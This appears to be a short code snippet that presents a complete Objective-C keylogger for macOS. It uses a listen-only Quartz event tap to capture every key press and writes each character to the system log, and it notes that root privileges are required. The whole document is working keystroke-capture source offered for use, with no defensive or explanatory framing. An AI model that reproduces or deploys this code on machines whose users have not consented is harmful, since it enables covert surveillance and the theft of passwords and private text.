Stupid simple keylogger. Requires root privileges.

keylogger.m

#import <Foundation/Foundation.h>

CGEventRef keyDownCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
    UniCharCount count;
    UniChar chars[1];
    UniCharCount maxStringLength = 1;
    CGEventKeyboardGetUnicodeString(event, maxStringLength, &count, chars);
    NSString *string = [NSString stringWithCharacters:chars length:1];
    NSLog(@"%@", string);
    return event;
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        CFMachPortRef keyDownEventTap = CGEventTapCreate(kCGHIDEventTap,
                                                         kCGHeadInsertEventTap,
                                                         kCGEventTapOptionListenOnly,
                                                         CGEventMaskBit(kCGEventFlagsChanged) | CGEventMaskBit(kCGEventKeyDown),
                                                         &keyDownCallback, NULL);
        CFRunLoopSourceRef keyUpRunLoopSourceRef = CFMachPortCreateRunLoopSource(NULL, keyDownEventTap, 0);
        CFRelease(keyDownEventTap);
        CFRunLoopAddSource(CFRunLoopGetCurrent(), keyUpRunLoopSourceRef, kCFRunLoopDefaultMode);
        CFRelease(keyUpRunLoopSourceRef);
        CFRunLoopRun();
    }
    return 0;
}